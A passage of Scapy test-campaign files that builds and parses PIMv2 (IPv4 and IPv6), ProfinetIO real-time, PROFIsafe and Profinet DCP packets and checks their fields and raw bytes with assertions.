up_encoding_type=0, up_neighbor_ip="10.0.0.13", reserved=0, num_group=1, holdtime=210, jp_ips=[PIMv2GroupAddrs(addr_family=1, encoding_type=0, bidirection=0, reserved=0, admin_scope_zone=0, mask_len=32, gaddr="239.123.123.123", join_ips=[PIMv2JoinAddrs(addr_family=1, encoding_type=0, rsrvd=0, sparse=1, wildcard=1, rpt=1, mask_len=32, src_ip="1.1.1.1")], prune_ips=[]) ] ) assert raw(join_pkt) == b'\x01\x00^\x00\x00\r\xc2\x02=\x80\x00\x01\x08\x00E\xc0\x006\x00\x8b\x00\x00\x01g\xcd\xfb\n\x00\x00\x0e\xe0\x00\x00\r#\x00Z\xe5\x01\x00\n\x00\x00\r\x00\x01\x00\xd2\x01\x00\x00 \xef{{{\x00\x01\x00\x00\x01\x00\x07 \x01\x01\x01\x01' prune_pkt = Ether(dst="01:00:5e:00:00:0d", src="c2:02:3d:80:00:01")/IP(version=4, ihl=5, tos=0xc0, id=139, ttl=1, proto=103, src="10.0.0.2", dst="224.0.0.13")/\ PIMv2Hdr(version=2, type=3, reserved=0)/\ PIMv2JoinPrune(up_addr_family=1, up_encoding_type=0, up_neighbor_ip="10.0.0.1", reserved=0, num_group=1, holdtime=210, jp_ips=[PIMv2GroupAddrs(addr_family=1, encoding_type=0, bidirection=0, reserved=0, admin_scope_zone=0, mask_len=32, gaddr="239.123.123.123", prune_ips=[PIMv2PruneAddrs(addr_family=1, encoding_type=0, rsrvd=0, sparse=0, wildcard=0, rpt=0, mask_len=32, src_ip="172.16.40.10")]) ] ) assert raw(prune_pkt) == b'\x01\x00^\x00\x00\r\xc2\x02=\x80\x00\x01\x08\x00E\xc0\x006\x00\x8b\x00\x00\x01g\xce\x07\n\x00\x00\x02\xe0\x00\x00\r#\x00\x8f\xd8\x01\x00\n\x00\x00\x01\x00\x01\x00\xd2\x01\x00\x00 \xef{{{\x00\x00\x00\x01\x01\x00\x00 \xac\x10(\n' #################################################################################### # IPv6 added #################################################################################### = IPv6 PIMv2 Hello - instantiation hello_data6 = b'33\x00\x00\x00\r\x02\x00\x00\x00\x00\x01\x86\xddk\x80\x00\x00\x008g\x01\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r \x00\xe4G\x00\x01\x00\x02\x00i\x00\x02\x00\x04\x01\xf4\t\xc4\x00\x13\x00\x04\x00\x00\x00\x01\x00\x14\x00\x04:I\x8b\xa3\x00\x18\x00\x12\x02\x00 \x01\xa7\xff@\n"\t\x00\x00\x00\x00\x00\x00\x00\x02' hello_pkt6 = Ether(hello_data6) assert (hello_pkt6[PIMv2Hdr].version == 2) assert (hello_pkt6[PIMv2Hdr].type == 0) assert (len(hello_pkt6[PIMv2Hello].option) == 5) assert (hello_pkt6[PIMv2Hello].option[0][PIMv2HelloHoldtime].type == 1) assert (hello_pkt6[PIMv2Hello].option[0][PIMv2HelloHoldtime].holdtime == 105) assert (hello_pkt6[PIMv2Hello].option[1][PIMv2HelloLANPruneDelay].type == 2) assert (hello_pkt6[PIMv2Hello].option[1][PIMv2HelloLANPruneDelay].value[0][PIMv2HelloLANPruneDelayValue].t == 0) assert (hello_pkt6[PIMv2Hello].option[1][PIMv2HelloLANPruneDelay].value[0][PIMv2HelloLANPruneDelayValue].propagation_delay == 500) assert (hello_pkt6[PIMv2Hello].option[1][PIMv2HelloLANPruneDelay].value[0][PIMv2HelloLANPruneDelayValue].override_interval == 2500) assert (hello_pkt6[PIMv2Hello].option[2][PIMv2HelloDRPriority].type == 19) assert (hello_pkt6[PIMv2Hello].option[2][PIMv2HelloDRPriority].dr_priority == 1) assert (hello_pkt6[PIMv2Hello].option[3][PIMv2HelloGenerationID].type == 20) repr(PIMv2HelloLANPruneDelayValue(t=1)) = IPv6 PIMv2 Join/Prune - instantiation jp_data6join = b'33\x00\x00\x00\r\x02\x00\x00\x00\x00\x01\x86\xddk\x80\x00\x00\x00Fg\x01\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r#\x00\xc6X\x02\x00\xfe\x80\x00\x00\x00\x00\x00\x00\xfc\x87\xff\xff\xfe\x00\x01A\x00\x01\x00\xd2\x02\x00\x00\x80\xff>\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x01\x00\x01\x00\x00\x02\x00\x04\x80$\x04\x80\x00\x00\x01\xf0\x01\x00\x00\x00\x00\x00\x00\x00\x01' jp_pkt6 = Ether(jp_data6join) assert (jp_pkt6[PIMv2Hdr].version == 2) assert (jp_pkt6[PIMv2Hdr].type == 3) assert (jp_pkt6[PIMv2JoinPrune].up_addr_family == 2) assert (jp_pkt6[PIMv2JoinPrune].up_encoding_type == 0) assert (jp_pkt6[PIMv2JoinPrune].up_neighbor_ip == 'fe80::fc87:ffff:fe00:141') assert (jp_pkt6[PIMv2JoinPrune].reserved == 0) assert (jp_pkt6[PIMv2JoinPrune].num_group == 1) assert (jp_pkt6[PIMv2JoinPrune].holdtime == 210) assert (jp_pkt6[PIMv2JoinPrune].num_group == len(jp_pkt6[PIMv2JoinPrune].jp_ips)) assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].addr_family == 2) assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].encoding_type == 0) assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].bidirection == 0) assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].reserved == 0) assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].admin_scope_zone == 0) assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].mask_len == 128) assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].gaddr == 'ff3e::8000:1') assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].num_joins == 1) assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].num_joins == len(jp_pkt6[PIMv2JoinPrune].jp_ips[0].join_ips)) assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].join_ips[0][PIMv2JoinAddrs].addr_family == 2) assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].join_ips[0][PIMv2JoinAddrs].encoding_type == 0) assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].join_ips[0][PIMv2JoinAddrs].rsrvd == 0) assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].join_ips[0][PIMv2JoinAddrs].sparse == 1) assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].join_ips[0][PIMv2JoinAddrs].wildcard == 0) assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].join_ips[0][PIMv2JoinAddrs].rpt == 0) assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].join_ips[0][PIMv2JoinAddrs].mask_len == 128) assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].join_ips[0][PIMv2JoinAddrs].src_ip == '2404:8000:1:f001::1') assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].num_prunes == 0) assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].num_prunes == len(jp_pkt6[PIMv2JoinPrune].jp_ips[0].prune_ips)) jp_data6prune = b'33\x00\x00\x00\r\x02\x00\x00\x00\x00\x01\x86\xddk\x80\x00\x00\x00Fg\x01\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r#\x00\xc6X\x02\x00\xfe\x80\x00\x00\x00\x00\x00\x00\xfc\x87\xff\xff\xfe\x00\x01A\x00\x01\x00\xd2\x02\x00\x00\x80\xff>\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x01\x00\x00\x00\x01\x02\x00\x04\x80$\x04\x80\x00\x00\x01\xf0\x01\x00\x00\x00\x00\x00\x00\x00\x01' jp_pkt6 = Ether(jp_data6prune) assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].addr_family == 2) assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].encoding_type == 0) assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].bidirection == 0) assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].reserved == 0) assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].admin_scope_zone == 0) assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].mask_len == 128) assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].gaddr == 'ff3e::8000:1') assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].num_joins == 0) assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].num_joins == len(jp_pkt6[PIMv2JoinPrune].jp_ips[0].join_ips)) assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].num_prunes == 1) assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].num_prunes == len(jp_pkt6[PIMv2JoinPrune].jp_ips[0].prune_ips)) assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].prune_ips[0][PIMv2PruneAddrs].addr_family == 2) assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].prune_ips[0][PIMv2PruneAddrs].encoding_type == 0) assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].prune_ips[0][PIMv2PruneAddrs].rsrvd == 0) assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].prune_ips[0][PIMv2PruneAddrs].sparse == 1) assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].prune_ips[0][PIMv2PruneAddrs].wildcard == 0) assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].prune_ips[0][PIMv2PruneAddrs].rpt == 0) assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].prune_ips[0][PIMv2PruneAddrs].mask_len == 128) assert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].prune_ips[0][PIMv2PruneAddrs].src_ip == '2404:8000:1:f001::1') = IPv6 PIMv2 Hello - build hello_delay_pkt6 = Ether(dst='33:33:00:00:00:0d', src='02:00:00:00:00:01')/ \ IPv6(tc=0xb8, nh=103, hlim=1, src='fe80::ff:fe00:1', dst='ff02::d')/ \ PIMv2Hdr()/ \ PIMv2Hello(option=[ \ PIMv2HelloHoldtime(holdtime=105), PIMv2HelloLANPruneDelay(value=[PIMv2HelloLANPruneDelayValue(propagation_delay=500, override_interval=2500)]), PIMv2HelloDRPriority(dr_priority=1), PIMv2HelloGenerationID(generation_id=977898403), PIMv2HelloAddrList(value=[PIMv2HelloAddrListValue(addr_family=2,prefix='2001:a7ff:400a:2209::2')]), ]) assert raw(hello_delay_pkt6) == hello_data6 = IPv6 PIMv2 Join/Prune - build join_pkt6 = Ether(dst='33:33:00:00:00:0d', src='02:00:00:00:00:01')/\ IPv6(tc=184, nh=103, hlim=1, src='fe80::ff:fe00:1', dst='ff02::d')/ \ PIMv2Hdr(version=2, type=3, reserved=0)/ \ PIMv2JoinPrune(jp_ips=[ \ PIMv2GroupAddrs(join_ips=[ PIMv2JoinAddrs(addr_family=2, sparse=1, wildcard=0, rpt=0, mask_len=128, src_ip='2404:8000:1:f001::1')], addr_family=2, admin_scope_zone=0, mask_len=128, gaddr='ff3e::8000:1', num_joins=1, num_prunes=0)], up_addr_family=2, up_neighbor_ip='fe80::fc87:ffff:fe00:141', num_group=1, holdtime=210) assert raw(join_pkt6) == jp_data6join prune_pkt6 = Ether(dst='33:33:00:00:00:0d', src='02:00:00:00:00:01')/ \ IPv6(tc=184, nh=103, hlim=1, src='fe80::ff:fe00:1', dst='ff02::d')/ \ PIMv2Hdr()/ \ PIMv2JoinPrune(jp_ips=[ \ PIMv2GroupAddrs(prune_ips=[ \ PIMv2PruneAddrs(addr_family=2, sparse=1, wildcard=0, rpt=0, mask_len=128, src_ip='2404:8000:1:f001::1')], addr_family=2, mask_len=128, gaddr='ff3e::8000:1', num_joins=0, num_prunes=1)], up_addr_family=2, up_neighbor_ip='fe80::fc87:ffff:fe00:141', num_group=1, holdtime=210) assert raw(prune_pkt6) == jp_data6prune ================================================ FILE: test/contrib/pnio.uts ================================================ # coding: utf8 % ProfinetIO layer test campaign + Syntax check = Import the ProfinetIO layer from scapy.contrib.pnio import * from scapy.config import conf import re old_conf_dissector = conf.debug_dissector conf.debug_dissector=True + Check DCE/RPC layer = ProfinetIO default values raw(ProfinetIO()) == b'\x00\x00' = ProfinetIO overloads Ethertype p = Ether() / ProfinetIO() p.type == 0x8892 = ProfinetIO overloads UDP dport p = UDP() / ProfinetIO() p.dport == 0x8892 = Ether guesses ProfinetIO as payload class p = Ether(hex_bytes('ffffffffffff00000000000088920102')) isinstance(p.payload, ProfinetIO) and p.frameID == 0x0102 = UDP guesses ProfinetIO as payload class p = UDP(hex_bytes('12348892000a00000102')) isinstance(p.payload, ProfinetIO) and p.frameID == 0x0102 + PNIO RTC PDU tests = ProfinetIO PNIORealTime_IOxS parsing of a single status p = PNIORealTime_IOxS(b'\x80') assert p.dataState == 1 assert p.instance == 0 assert p.reserved == 0 assert p.extension == 0 p = PNIORealTime_IOxS(b'\xe1') assert p.dataState == 1 assert p.instance == 3 assert p.reserved == 0 assert p.extension == 1 True = ProfinetIO PNIORealTime_IOxS building of a single status p = PNIORealTime_IOxS(dataState = 'good', instance='subslot', extension=0) assert raw(p) == b'\x80' p = PNIORealTime_IOxS(dataState = 'bad', instance='device', extension=1) assert raw(p) == b'\x41' True = ProfinetIO PNIORealTime_IOxS parsing with multiple statuses TestPacket = type( 'TestPacket', (Packet,), { 'name': 'TestPacket', 'fields_desc': [ PacketListField('data', [], next_cls_cb= PNIORealTime_IOxS.is_extension_set) ], } ) p = TestPacket(b'\x81\xe1\x01\x80') assert len(p.data) == 4 assert p.data[0].dataState == 1 assert p.data[0].instance == 0 assert p.data[0].reserved == 0 assert p.data[0].extension == 1 assert p.data[1].dataState == 1 assert p.data[1].instance == 3 assert p.data[1].reserved == 0 assert p.data[1].extension == 1 assert p.data[2].dataState == 0 assert p.data[2].instance == 0 assert p.data[2].reserved == 0 assert p.data[2].extension == 1 assert p.data[3].dataState == 1 assert p.data[3].instance == 0 assert p.data[3].reserved == 0 assert p.data[3].extension == 0 = ProfinetIO RTC PDU parsing without configuration p = Ether(b'\x00\x02\x04\x06\x08\x0a\x01\x03\x05\x07\x09\x0B\x88\x92\x80\x00\x01\x02\x03\x04\xf0\x00\x35\x00') assert p[Ether].dst == '00:02:04:06:08:0a' assert p[Ether].src == '01:03:05:07:09:0b' assert p[Ether].type == 0x8892 assert p[ProfinetIO].frameID == 0x8000 assert isinstance(p[ProfinetIO].payload, PNIORealTimeCyclicPDU) assert len(p[PNIORealTimeCyclicPDU].data) == 1 assert isinstance(p[PNIORealTimeCyclicPDU].data[0], PNIORealTimeCyclicDefaultRawData) assert p[PNIORealTimeCyclicDefaultRawData].data == b'\x01\x02\x03\x04' assert p[PNIORealTimeCyclicPDU].padding == b'' assert p[PNIORealTimeCyclicPDU].cycleCounter == 0xf000 assert p[PNIORealTimeCyclicPDU].dataStatus == 0x35 assert p[PNIORealTimeCyclicPDU].transferStatus == 0 True = ProfinetIO RTC PDU building p = Ether(src='01:03:05:07:09:0b', dst='00:02:04:06:08:0a')/ProfinetIO(frameID = 'PTCP-RTSyncPDU')/PNIORealTimeCyclicPDU( data=[ PNIORealTimeCyclicPDU.build_fixed_len_raw_type(10)(data = b'\x80'*10) ], padding = b'\x00'*8, cycleCounter = 900, dataStatus = 0x35, transferStatus = 0 ) assert( raw(p) == \ b'\x00\x02\x04\x06\x08\x0a' \ b'\x01\x03\x05\x07\x09\x0b' \ b'\x88\x92' \ b'\x00\x80' \ b'\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80' \ b'\x00\x00\x00\x00\x00\x00\x00\x00' \ b'\x03\x84' \ b'\x35' \ b'\x00' ) = ProfinetIO RTC PDU parsing with config scapy.config.conf.contribs['PNIO_RTC'][('01:03:05:07:09:0b', '00:02:04:06:08:0a', 0x8010)] = [ PNIORealTimeCyclicPDU.build_fixed_len_raw_type(5), PNIORealTimeCyclicPDU.build_fixed_len_raw_type(3), PNIORealTimeCyclicPDU.build_fixed_len_raw_type(2) ] p = Ether( b'\x00\x02\x04\x06\x08\x0a' \ b'\x01\x03\x05\x07\x09\x0B' \ b'\x88\x92' \ b'\x80\x10' \ b'\x01\x02\x03\x04\x05' \ b'\x01\x02\x03' \ b'\x01\x02' \ b'\x00\x00' \ b'\xf0\x00' \ b'\x35' \ b'\x00' ) assert p[Ether].dst == '00:02:04:06:08:0a' assert p[Ether].src == '01:03:05:07:09:0b' assert p[Ether].type == 0x8892 assert p[ProfinetIO].frameID == 0x8010 assert isinstance(p[ProfinetIO].payload, PNIORealTimeCyclicPDU) assert len(p[PNIORealTimeCyclicPDU].data) == 3 assert isinstance(p[PNIORealTimeCyclicPDU].data[0], scapy.config.conf.raw_layer) assert p[PNIORealTimeCyclicPDU].data[0].data == b'\x01\x02\x03\x04\x05' assert isinstance(p[PNIORealTimeCyclicPDU].data[1], scapy.config.conf.raw_layer) assert p[PNIORealTimeCyclicPDU].data[1].data == b'\x01\x02\x03' assert isinstance(p[PNIORealTimeCyclicPDU].data[2], scapy.config.conf.raw_layer) assert p[PNIORealTimeCyclicPDU].data[2].data == b'\x01\x02' assert p[PNIORealTimeCyclicPDU].padding == b'\x00' * 2 assert p[PNIORealTimeCyclicPDU].cycleCounter == 0xf000 assert p[PNIORealTimeCyclicPDU].dataStatus == 0x35 assert p[PNIORealTimeCyclicPDU].transferStatus == 0 p = Ether(b'\x00\x02\x04\x06\x08\x0a\x01\x03\x05\x07\x09\x0B\x88\x92\x80\x00\x01\x02\x03\x04\xf0\x00\x35\x00') assert p[Ether].dst == '00:02:04:06:08:0a' assert p[Ether].src == '01:03:05:07:09:0b' assert p[Ether].type == 0x8892 assert p[ProfinetIO].frameID == 0x8000 assert isinstance(p[ProfinetIO].payload, PNIORealTimeCyclicPDU) assert len(p[PNIORealTimeCyclicPDU].data) == 1 assert isinstance(p[PNIORealTimeCyclicPDU].data[0], PNIORealTimeCyclicDefaultRawData) assert p[PNIORealTimeCyclicDefaultRawData].data == b'\x01\x02\x03\x04' assert p[PNIORealTimeCyclicPDU].padding == b'' assert p[PNIORealTimeCyclicPDU].cycleCounter == 0xf000 assert p[PNIORealTimeCyclicPDU].dataStatus == 0x35 assert p[PNIORealTimeCyclicPDU].transferStatus == 0 True = PROFIsafe parsing (query with F_CRC_SEED=0) p = PROFIsafe.build_PROFIsafe_class(PROFIsafeControl, 2)(b'\x80\x80\x40\x01\x02\x03') assert p.data == b'\x80\x80' assert p.control == 0x40 assert p.crc == 0x010203 True = PROFIsafe parsing (query with F_CRC_SEED=1) p = PROFIsafe.build_PROFIsafe_class(PROFIsafeControlCRCSeed, 2)(b'\x80\x80\x40\x01\x02\x03\x04') assert p.data == b'\x80\x80' assert p.control == 0x40 assert p.crc == 0x01020304 True = PROFIsafe parsing (response with F_CRC_SEED=0) p = PROFIsafe.build_PROFIsafe_class(PROFIsafeStatus, 1)(b'\x80\x40\x01\x02\x03') assert p.data == b'\x80' assert p.status == 0x40 assert p.crc == 0x010203 True = PROFIsafe parsing (response with F_CRC_SEED=1) p = PROFIsafe.build_PROFIsafe_class(PROFIsafeStatusCRCSeed, 1)(b'\x80\x40\x01\x02\x03\x04') assert p.data == b'\x80' assert p.status == 0x40 assert p.crc == 0x01020304 True = PROFIsafe building (query with F_CRC_SEED=0) p = PROFIsafe.build_PROFIsafe_class(PROFIsafeControl, 2)(data = b'\x81\x80', control=0x40, crc=0x040506) assert raw(p) == b'\x81\x80\x40\x04\x05\x06' = PROFIsafe building (query with F_CRC_SEED=1) p = PROFIsafe.build_PROFIsafe_class(PROFIsafeControlCRCSeed, 2)(data = b'\x81\x80', control=0x02, crc=0x04050607) assert raw(p) == b'\x81\x80\x02\x04\x05\x06\x07' = PROFIsafe building (response with F_CRC_SEED=0) p = PROFIsafe.build_PROFIsafe_class(PROFIsafeStatus, 3)(data = b'\x01\x81\x00', status=0x01, crc=0x040506) assert raw(p) == b'\x01\x81\x00\x01\x04\x05\x06' = PROFIsafe building (response with F_CRC_SEED=1) p = PROFIsafe.build_PROFIsafe_class(PROFIsafeStatusCRCSeed, 3)(data = b'\x01\x81\x80', status=0x01, crc=0x04050607) assert raw(p) == b'\x01\x81\x80\x01\x04\x05\x06\x07' conf.debug_dissector = old_conf_dissector ================================================ FILE: test/contrib/pnio_dcp.uts ================================================ # coding: utf8 % ProfinetIO DCP layer test campaign + Syntax check = Import the ProfinetIO layer from scapy.contrib.pnio import * from scapy.contrib.pnio_dcp import * from scapy.config import conf import re old_conf_dissector = conf.debug_dissector conf.debug_dissector=True + PNIO DCP PDU tests = DCP Identify All Request parsing p = Ether(b'\x01\x0e\xcf\x00\x00\x00\x01\x23\x45\x67\x89\xab\x88\x92\xfe\xfe' \ b'\x05\x00\x01\x00\x00\x01\x00\x01\x00\x04\xff\xff\x00\x00\x00\x00' \ b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \ b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') assert p[Ether].dst == '01:0e:cf:00:00:00' assert p[Ether].src == '01:23:45:67:89:ab' assert p[Ether].type == 0x8892 assert p[ProfinetIO].frameID == 0xfefe assert p[ProfinetDCP].service_id == 0x05 assert p[ProfinetDCP].service_type == 0x00 assert p[ProfinetDCP].xid == 0x1000001 assert p[ProfinetDCP].reserved == 0x01 assert p[ProfinetDCP].dcp_data_length == 0x04 assert p[ProfinetDCP].option == 0xff assert p[ProfinetDCP].sub_option == 0xff assert p[ProfinetDCP].dcp_block_length == 0x00 = DCP Set Request parsing p = Ether(b'\x01\x23\x45\x67\x89\xac\x01\x23\x45\x67\x89\xab\x88\x92\xfe\xfd' \ b'\x04\x00\x00\x00\x00\x01\x00\x00\x00\x0c\x02\x02\x00\x08\x00\x01' \ b'\x64\x65\x76\x69\x63\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \ b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') assert p[Ether].dst == '01:23:45:67:89:ac' assert p[Ether].src == '01:23:45:67:89:ab' assert p[Ether].type == 0x8892 assert p[ProfinetIO].frameID == 0xfefd assert p[ProfinetDCP].service_id == 0x04 assert p[ProfinetDCP].service_type == 0x00 assert p[ProfinetDCP].xid == 0x0000001 assert p[ProfinetDCP].reserved == 0x00 assert p[ProfinetDCP].dcp_data_length == 0x0c assert p[ProfinetDCP].option == 0x02 assert p[ProfinetDCP].sub_option == 0x02 assert p[ProfinetDCP].dcp_block_length == 0x08 assert p[ProfinetDCP].block_qualifier == 0x01 = DCP Identify Response parsing p = Ether(b'\x94\x65\x9c\x51\x90\x7d\xac\x64\x17\x21\x35\xcf\x81\x00\x00\x00' \ b'\x88\x92\xfe\xff\x05\x01\x01\x00\x00\x01\x00\x00\x00\x4e\x02\x05' \ b'\x00\x04\x00\x00\x02\x07\x02\x01\x00\x09\x00\x00\x45\x54\x32\x30' \ b'\x30\x53\x50\x00\x02\x02\x00\x08\x00\x00\x64\x65\x76\x69\x63\x65' \ b'\x02\x03\x00\x06\x00\x00\x00\x2a\x03\x13\x02\x04\x00\x04\x00\x00' \ b'\x01\x00\x02\x07\x00\x04\x00\x00\x00\x01\x01\x02\x00\x0e\x00\x01' \ b'\xc0\xa8\x01\x0e\xff\xff\xff\x00\xc0\xa8\x01\x0e') # General assert p[ProfinetIO].frameID == 0xfeff assert p[ProfinetDCP].service_id == 0x05 assert p[ProfinetDCP].service_type == 0x01 assert p[ProfinetDCP].xid == 0x1000001 assert p[ProfinetDCP].reserved == 0x00 assert p[ProfinetDCP].dcp_data_length == 0x4e # - DCPDeviceOptionsBlock assert p[DCPDeviceOptionsBlock].option == 0x02 assert p[DCPDeviceOptionsBlock].sub_option == 0x05 assert p[DCPDeviceOptionsBlock].dcp_block_length == 0x04 assert p[DCPDeviceOptionsBlock].block_info == 0x00 # -- DeviceOption assert p[DeviceOption].option == 0x02 assert p[DeviceOption].sub_option == 0x07 # - DCPManufacturerSpecificBlock assert p[DCPManufacturerSpecificBlock].option == 0x02 assert p[DCPManufacturerSpecificBlock].sub_option == 0x01 assert p[DCPManufacturerSpecificBlock].dcp_block_length == 0x09 assert p[DCPManufacturerSpecificBlock].block_info == 0x00 assert p[DCPManufacturerSpecificBlock].device_vendor_value == b'ET200SP' # - DCPNameOfStationBlock assert p[DCPNameOfStationBlock].option == 0x02 assert p[DCPNameOfStationBlock].sub_option == 0x02 assert p[DCPNameOfStationBlock].dcp_block_length == 0x08 assert p[DCPNameOfStationBlock].block_info == 0x00 assert p[DCPNameOfStationBlock].name_of_station == b'device' # - DCPDeviceIDBlock assert p[DCPDeviceIDBlock].option == 0x02 assert p[DCPDeviceIDBlock].sub_option == 0x03 assert p[DCPDeviceIDBlock].dcp_block_length == 0x06 assert p[DCPDeviceIDBlock].block_info == 0x00 assert p[DCPDeviceIDBlock].vendor_id == 0x002a assert p[DCPDeviceIDBlock].device_id == 0x0313 # - DCPDeviceRoleBlock assert p[DCPDeviceRoleBlock].option == 0x02 assert p[DCPDeviceRoleBlock].sub_option == 0x04 assert p[DCPDeviceRoleBlock].dcp_block_length == 0x04 assert p[DCPDeviceRoleBlock].block_info == 0x00 assert p[DCPDeviceRoleBlock].device_role_details == 0x01 # - DCPDeviceInstanceBlock assert p[DCPDeviceInstanceBlock].option == 0x02 assert p[DCPDeviceInstanceBlock].sub_option == 0x07 assert p[DCPDeviceInstanceBlock].dcp_block_length == 0x04 assert p[DCPDeviceInstanceBlock].block_info == 0x00 assert p[DCPDeviceInstanceBlock].device_instance_high == 0x00 assert p[DCPDeviceInstanceBlock].device_instance_low == 0x01 # - DCPIPBlock assert p[DCPIPBlock].option == 0x01 assert p[DCPIPBlock].sub_option == 0x02 assert p[DCPIPBlock].dcp_block_length == 0x0e assert p[DCPIPBlock].block_info == 0x01 assert p[DCPIPBlock].ip == "192.168.1.14" assert p[DCPIPBlock].netmask == "255.255.255.0" assert p[DCPIPBlock].gateway == "192.168.1.14" = DCP Identify Response parsing with new DCP packages (DCPOEMIDBlock, DCPDeviceInitiativeBlock) p = Ether(b'\x01\x0e\xcf\x00\x00\x00\x01\x23\x45\x67\x89\xab\x88\x92' \ b'\xfe\xff\x05\x01\x01\x00\x00\x01\x00\x00\x00\x7a\x02\x02\x00\x02\x00' \ b'\x00\x01\x02\x00\x0e\x00\x01\xc0\xa8\x01\x0b\xff\xff\xff\x00\x00\x00' \ b'\x00\x00\x02\x03\x00\x06\x00\x00\x01\x6a\x04\x00\x02\x05\x00\x16\x00' \ b'\x00\x01\x01\x01\x02\x02\x01\x02\x02\x02\x03\x02\x04\x02\x05\x02\x07' \ b'\x02\x08\x06\x01\x02\x04\x00\x04\x00\x00\x01\x00\x06\x01\x00\x04\x00' \ b'\x00\x00\x00\x02\x01\x00\x18\x00\x00\x31\x32\x33\x34\x20\x44\x44\x44' b'\x20\x33\x58\x58\x32\x2d\x31\x32\x31\x2d\x30\x46\x44\x44\x02\x07\x00' \ b'\x04\x00\x00\x00\x01\x02\x08\x00\x06\x00\x00\x01\x1e\xff\xff') # - General assert p[Ether].dst == '01:0e:cf:00:00:00' assert p[Ether].src == '01:23:45:67:89:ab' assert p[Ether].type == 0x8892 assert p[ProfinetIO].frameID == 0xFEFF assert p[ProfinetDCP].service_id == 0x05 assert p[ProfinetDCP].service_type == 0x01 assert p[ProfinetDCP].xid == 0x1000001 assert p[ProfinetDCP].reserved == 0x00 assert p[ProfinetDCP].dcp_data_length == 122 assert list(map(lambda x: type(x), p[ProfinetDCP].dcp_blocks)) == [DCPNameOfStationBlock, DCPIPBlock, DCPDeviceIDBlock, DCPDeviceOptionsBlock, DCPDeviceRoleBlock, DCPDeviceInitiativeBlock, DCPManufacturerSpecificBlock, DCPDeviceInstanceBlock, DCPOEMIDBlock] # - DCPNameOfStationBlock assert p[DCPNameOfStationBlock].option == 0x02 assert p[DCPNameOfStationBlock].sub_option == 0x02 # - DCPIPBlock assert p[DCPIPBlock].option == 0x01 assert p[DCPIPBlock].sub_option == 0x02 assert p[DCPIPBlock].dcp_block_length == 0x0E assert p[DCPIPBlock].ip == '192.168.1.11' assert p[DCPIPBlock].netmask == '255.255.255.0' assert p[DCPIPBlock].gateway == '0.0.0.0' # - DCPDeviceInitiativeBlock assert p[DCPDeviceInitiativeBlock].option == 0x06 assert p[DCPDeviceInitiativeBlock].sub_option == 0x01 assert p[DCPDeviceInitiativeBlock].dcp_block_length == 0x04 assert p[DCPDeviceInitiativeBlock].device_initiative == 0x0000 # - DCPManufacturerSpecificBlock assert p[DCPManufacturerSpecificBlock].option == 0x02 assert p[DCPManufacturerSpecificBlock].sub_option == 0x01 assert p[DCPManufacturerSpecificBlock].device_vendor_value == b'1234 DDD 3XX2-121-0FDD' # - DCPOEMIDBlock assert p[DCPOEMIDBlock].option == 0x02 assert p[DCPOEMIDBlock].sub_option == 0x08 assert p[DCPOEMIDBlock].dcp_block_length == 0x06 assert p[DCPOEMIDBlock].vendor_id == 0x011e assert p[DCPOEMIDBlock].device_id == 0xffff = DCP Set Request parsing p = Ether(b'\x94\x65\x9c\x51\x90\x7d\xac\x64\x17\x21\x35\xcf\x81\x00\x00\x00' \ b'\x88\x92\xfe\xfd\x04\x01\x00\x00\x00\x01\x00\x00\x00\x08\x05\x04' \ b'\x00\x03\x02\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \ 